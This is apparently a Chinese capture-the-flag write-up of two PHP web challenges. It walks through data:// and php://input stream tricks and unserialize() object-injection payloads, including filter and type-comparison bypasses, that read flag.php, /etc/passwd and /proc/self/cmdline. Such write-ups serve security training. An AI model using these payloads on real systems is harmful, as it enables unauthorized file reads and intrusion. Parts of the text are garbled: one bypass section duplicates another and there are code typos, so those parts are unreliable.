浙江省大学生网络与信息安全竞赛-决赛-2019-Web-逆转思维
file_get_contents($_GET(txt))===”welcome to the zjctf”
想到用转post用php://input
或者 get用data base64:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
base64解码得到useless.php:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo “
“;
return (“U R SO CLOSE !///COME ON PLZ”);
}
}
}
?>
<?php
class Flag{ //flag.php
//file属性 public $file;
public function __tostring(){
if(isset($this->file)){
//file_get_contents把整个文件读入一个字符串中 //$this->file flag.php的file //输出 flag.php的file的内容 echo file_get_contents($this->file);
echo “
“; return (“U R SO CLOSE !///COME ON PLZ”); }
} } //new一个对象 $password = new Flag(); //pasword对象访问自己的file属性,file属性赋值为flag.php $password->file=’flag.php’; print_r (serialize($password));each (serialize($password));
?>
得到serialize的值:
O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}
最后一个参数是password,php代码里面有反序列化这个传入的值,所以只要让最后反序列化出来的file等于flag.php就好了。
构造payload
2020-网鼎杯-青龙组-Web-AreUSerial
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
首先 函数 is_valid()对传入的字符串进行判断;
payload的字符的ASCII在32至125之间,类的属性是protected类型,需要加上
%00进行标识,但%00被url解码后ASCII值为0,不在32-125之间,可以使用十六进制\00和 S绕过;另一种绕过,在php7.1+中,对属性类型不敏感,所以可以使用public绕过;
判断然后进行反序列化
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
op为1时为写文件,op为2时为读文件,我们需要读文件,但是在__destruct中,对op进行了过滤,可以根据===和==强弱进行绕过设置op是int的2或“ 2”(有空格)
然后读取flag.php(绝对路径,cmdline+读取/web/config/httpd.conf可得,buu上的复现可以直接使用flag.php相对路径)
这道题目在复现的时候用相对路径没问题,在比赛的时候还有一个坑点就是要知道绝对路径
**
linux提供了/proc/self/目录,这个目录比较独特,不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。进程可以通过访问/proc/self/目录来获取自己的信息。maps 记录一些调用的扩展或者自定义 so 文件environ 环境变量comm 当前进程运行的程序cmdline 程序运行的绝对路径cpuset docker 环境可以看 machine IDcgroup docker环境下全是 machine ID 不太常用
可以读取/proc/self/cmdline找到当前路径获取配置信息/web/config/httpd.conf
然后读取/web/html/flag.php
protected绕过:
<?php
class FileHandler{
protected $op=2;
protected $filename="/etc/passwd";
}
// echo urlencode(serialize(new FileHandler));
$a = serialize(new FileHandler);
// echo $a;
$a = str_replace(chr(0),'\00',$a);
$a = str_replace('s:','S:',$a);
echo urlencode($a);
?>
O%3A11%3A%22FileHandler%22%3A2%3A%7BS%3A5%3A%22%5C00%2A%5C00op%22%3Bi%3A2%3BS%3A11%3A%22%5C00%2A%5C00filename%22%3BS%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D
publice绕过:
<?php
class FileHandler{
protected $op=2;
protected $filename="/etc/passwd";
}
// echo urlencode(serialize(new FileHandler));
$a = serialize(new FileHandler);
// echo $a;
$a = str_replace(chr(0),'\00',$a);
$a = str_replace('s:','S:',$a);
echo urlencode($a);
?>
O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}